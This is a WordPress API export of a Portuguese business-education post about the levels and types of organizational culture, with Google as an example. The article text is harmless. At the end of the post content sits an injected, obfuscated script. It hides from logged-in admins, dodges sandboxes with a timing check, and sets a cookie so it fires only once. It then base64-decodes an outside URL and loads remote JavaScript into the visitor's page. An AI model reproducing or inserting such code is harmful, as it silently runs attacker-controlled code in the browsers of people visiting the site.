{"id":23940,"date":"2024-08-29T09:39:08","date_gmt":"2024-08-29T09:39:08","guid":{"rendered":"https:\/\/reward.pt\/?p=23940"},"modified":"2026-04-19T03:59:43","modified_gmt":"2026-04-19T03:59:43","slug":"tipos-de-cultura-organizacional-gestao-em-5-minutos-g5m","status":"publish","type":"post","link":"https:\/\/reward.pt\/en\/tipos-de-cultura-organizacional-gestao-em-5-minutos-g5m\/","title":{"rendered":"Tipos de cultura organizacional | Gest\u00e3o em 5 Minutos (G5M)"},"content":{"rendered":"<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe loading=\"lazy\" title=\"Tipos de cultura organizacional | Gest\u00e3o em 5 Minutos (G5M)\" width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/NVHzQcP9Wgo?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe>\n<\/div><figcaption class=\"wp-element-caption\"><em>Tipos de cultura organizacional &#8211; <a href=\"https:\/\/www.youtube.com\/watch?v=wPD3zuMqhbg\" target=\"_blank\" rel=\"noopener\">V\u00eddeo anterior aqui<\/a><\/em><\/figcaption><\/figure>\n\n\n\n<p>Este epis\u00f3dio Gest\u00e3o em 5 Minutos (G5M) continua a tem\u00e1tica da Cultura Organizacional, abordada anteriormente <a href=\"https:\/\/www.youtube.com\/watch?v=wPD3zuMqhbg\" target=\"_blank\" rel=\"noopener\">aqui<\/a>, agora focado nos tipos de cultura organizacional, nos seus n\u00edveis e componentes.<\/p>\n\n\n\n<p>\u00c9 ainda apresentado o exemplo de cultura organizacional Google, uma das primeiras empresas a transformar a forma de trabalho e conhecida pelo seu ambiente descontra\u00eddo, preocupa\u00e7\u00e3o com a cultura da empresa e capacidade de trabalho flex\u00edvel.<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">N\u00edveis e componentes da cultura organizacional<\/h2>\n\n\n\n<p>Existem 3 n\u00edveis de cultura organizacional: Artefatos, valores partilhados e pressupostos.<\/p>\n\n\n\n<p><strong>Artefatos<\/strong><br>Os artefatos s\u00e3o o n\u00edvel mais superficial da cultura organizacional. Os artefatos s\u00e3o observ\u00e1veis e constituem o primeiro ponto de contacto com a cultura de uma organiza\u00e7\u00e3o.<\/p>\n\n\n\n<p>Os artefatos apoiam a defini\u00e7\u00e3o do ambiente da organiza\u00e7\u00e3o e s\u00e3o o n\u00edvel de cultura que qualquer pessoa pode observar ao interagir com a empresa, n\u00e3o revelam toda a sua ess\u00eancia.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Exemplos de artefatos: Organograma e hierarquia; grau de formalidade (vestimenta e comunica\u00e7\u00e3o); produtos; s\u00edmbolos (logotipo, decora\u00e7\u00e3o outros).<\/li>\n<\/ul>\n\n\n\n<p><strong>Valores partilhados<br><\/strong>Os valores partilhados s\u00e3o o 2\u00ba n\u00edvel da cultura organizacional, s\u00e3o mais profundos que os artefatos, n\u00e3o s\u00e3o imediatamente percept\u00edveis e representam os princ\u00edpios que guiam as a\u00e7\u00f5es dos membros da organiza\u00e7\u00e3o. Os valores mant\u00e9m a organiza\u00e7\u00e3o unida e orienta os comportamentos dos seus elementos.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Exemplos de valores: Valores dos fundadores (desde a cria\u00e7\u00e3o da empresa), normas, filosofia da empresa (miss\u00e3o, vis\u00e3o) e valores (qualidade, inova\u00e7\u00e3o, \u00e9tica, outros).<\/li>\n<\/ul>\n\n\n\n<p><strong>Pressupostos<\/strong><br>Os pressupostos s\u00e3o o 3\u00ba e mais profundo n\u00edvel da cultura organizacional, tamb\u00e9m \u00e9 o n\u00edvel menos vis\u00edvel. No n\u00edvel de pressupostos os elementos s\u00e3o cren\u00e7as inconscientes e suposi\u00e7\u00f5es partilhadas pelas equipas da empresa.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Elementos dos pressupostos: Natureza do ser humano (bem e mal), rela\u00e7\u00f5es de poder e como este deve ser distribu\u00eddo ou exercido, natureza do trabalho (import\u00e2ncia do trabalho, papel da empresa na sociedade, significado do sucesso), rela\u00e7\u00e3o com ambiente externo e a identidade organizacional.<\/li>\n<\/ul>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Tipos de cultura organizacional<\/h2>\n\n\n\n<p>Existem caracter\u00edsticas espec\u00edficas que ajudam a definir diferentes tipos de cultura organizacional. Os tipos de cultura organizacional s\u00e3o:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Cultura do poder;<\/li>\n\n\n\n<li>Cultura dos pap\u00e9is;<\/li>\n\n\n\n<li>Cultura das tarefas;<\/li>\n\n\n\n<li>Cultura de pessoas<\/li>\n<\/ul>\n\n\n\n<p>Para al\u00e9m dos tipos de cultura, existem graus (cultura forte, fraca, adaptativa e\/ou conservadora) de cada tipo de cultura.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Cultura do poder<\/h3>\n\n\n\n<p>Este tipo de cultura caracteriza-se pelo poder concentrado em alguns elementos (coordenadores, diretores, CEO) que exercem influ\u00eancia sobre a organiza\u00e7\u00e3o.<\/p>\n\n\n\n<p>A cultura de poder ocorre normalmente em organiza\u00e7\u00f5es mais pequenas e com menos colaboradores. As organiza\u00e7\u00f5es com uma cultura de poder s\u00e3o normalmente orientadas para resultados e t\u00eam poucas regras e\/ou regulamentos (pois as regras s\u00e3o ditadas pelos decisores).<\/p>\n\n\n\n<p>Este tipo de empresas pode ser afetada negativamente pelo autoritarismo e depend\u00eancia de l\u00edderes para tarefas ou decis\u00f5es.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Cultura dos papeis<\/h3>\n\n\n\n<p>A cultura dos pap\u00e9is \u00e9 oposta \u00e0 cultura do poder. As empresas com cultura dos pap\u00e9is guiam-se por regras, cargos e fun\u00e7\u00f5es bem definidas e o poder \u00e9 determinado pela posi\u00e7\u00e3o de uma pessoa na estrutura organizacional.<\/p>\n\n\n\n<p>As empresas com cultura dos pap\u00e9is s\u00e3o empresas mais burocr\u00e1ticas, com uma hierarquia bem definida onde as fun\u00e7\u00f5es de cada elemento est\u00e3o bem definidas e, normalmente, aversas a assumir riscos.<\/p>\n\n\n\n<p>Alguns desafios que as empresas com cultura dos pap\u00e9is podem enfrentar s\u00e3o a sua rigidez e falta de criatividade das equipas.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Cultura das tarefas<\/h3>\n\n\n\n<p>Esta cultura \u00e9 focada na realiza\u00e7\u00e3o de tarefas e em resultados. As organiza\u00e7\u00f5es com cultura de tarefas s\u00e3o orientadas para os projetos, onde o sucesso \u00e9 medido pela capacidade de atingir objetivos.<\/p>\n\n\n\n<p>As empresas com cultura das tarefas s\u00e3o pautadas pelo seu dinamismo, flexibilidade, orienta\u00e7\u00e3o para resultados\/performance, trabalho em equipa e inova\u00e7\u00e3o.<\/p>\n\n\n\n<p>Os desafios que estas empresas podem enfrentar s\u00e3o a press\u00e3o excessiva por resultados e poss\u00edvel falta de estabilidade, caso exista constante mudan\u00e7a de foco para v\u00e1rias tarefas.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Cultura das pessoas<\/h3>\n\n\n\n<p>As empresas com cultura de pessoas colocam o bem-estar e o desenvolvimento dos colaboradores no centro da organiza\u00e7\u00e3o. O ambiente de trabalho \u00e9 constru\u00eddo em torno das necessidades, motiva\u00e7\u00f5es e crescimento dos indiv\u00edduos.<\/p>\n\n\n\n<p>Este tipo de empresas tem foco no bem-estar dos colaboradores (work-life balance), desenvolvimento pessoal dos colaboradores, colabora\u00e7\u00e3o entre as equipas, equidade e um ambiente de trabalho acolhedor.<\/p>\n\n\n\n<p>Os desafios que podem enfrentar s\u00e3o o risco de toler\u00e2ncia excessiva e falta de foco para o cumprimento de objetivos.<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Exemplo de cultura organizacional Google<\/h2>\n\n\n\n<p>Existem v\u00e1rias empresas que s\u00e3o modelos de cultura organizacional, o que culmina no seu reconhecimento como \u00f3timos locais para se trabalhar.<\/p>\n\n\n\n<p>Uma correta cultura organizacional tem impacto direto no bem-estar dos colaboradores e na sua dedica\u00e7\u00e3o \u00e0 empresa e aos seus objetivos, caso estes se identifiquem com a cultura do seu local de trabalho.<\/p>\n\n\n\n<p>Um dos exemplos de cultura organizacional \u00e9 a Google. A Google foi das primeiras empresas a transformar a forma de trabalho. A empresa \u00e9 conhecida desde sempre pelo seu ambiente descontra\u00eddo e capacidade de trabalho flex\u00edvel.<\/p>\n\n\n\n<p>Em vez de basear o trabalho num modelo com pouco espa\u00e7o para a express\u00e3o, o modelo Google ofereceu benef\u00edcios dentro do ambiente de trabalho. As a\u00e7\u00f5es que s\u00e3o apresentadas est\u00e3o em linha com a vis\u00e3o e valores Google.<\/p>\n\n\n\n<p>Um diferencial da Google \u00e9 a sua preocupa\u00e7\u00e3o com a cultura organizacional. A empresa instituiu o cargo de Chief Culture Officer (CCO), uma pessoa com a tarefa de cuidar e preservar a cultura organizacional da empresa.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Este epis\u00f3dio Gest\u00e3o em 5 Minutos (G5M) continua a tem\u00e1tica da Cultura Organizacional, abordada anteriormente aqui, agora focado nos tipos de cultura organizacional, nos seus n\u00edveis e componentes. \u00c9 ainda apresentado o exemplo de cultura organizacional Google, uma das primeiras empresas a transformar a forma de trabalho e conhecida pelo seu ambiente descontra\u00eddo, preocupa\u00e7\u00e3o com [&hellip;]<\/p>","protected":false},"author":2,"featured_media":23140,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[809,8,27,748,519],"tags":[],"class_list":["post-23940","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-destaque","category-empreendedorismo","category-empresas","category-gestao-5-minutos","category-rubricas"],"acf":[],"_links":{"self":[{"href":"https:\/\/reward.pt\/en\/wp-json\/wp\/v2\/posts\/23940","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reward.pt\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reward.pt\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reward.pt\/en\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/reward.pt\/en\/wp-json\/wp\/v2\/comments?post=23940"}],"version-history":[{"count":2,"href":"https:\/\/reward.pt\/en\/wp-json\/wp\/v2\/posts\/23940\/revisions"}],"predecessor-version":[{"id":25854,"href":"https:\/\/reward.pt\/en\/wp-json\/wp\/v2\/posts\/23940\/revisions\/25854"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reward.pt\/en\/wp-json\/wp\/v2\/media\/23140"}],"wp:attachment":[{"href":"https:\/\/reward.pt\/en\/wp-json\/wp\/v2\/media?parent=23940"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reward.pt\/en\/wp-json\/wp\/v2\/categories?post=23940"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reward.pt\/en\/wp-json\/wp\/v2\/tags?post=23940"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}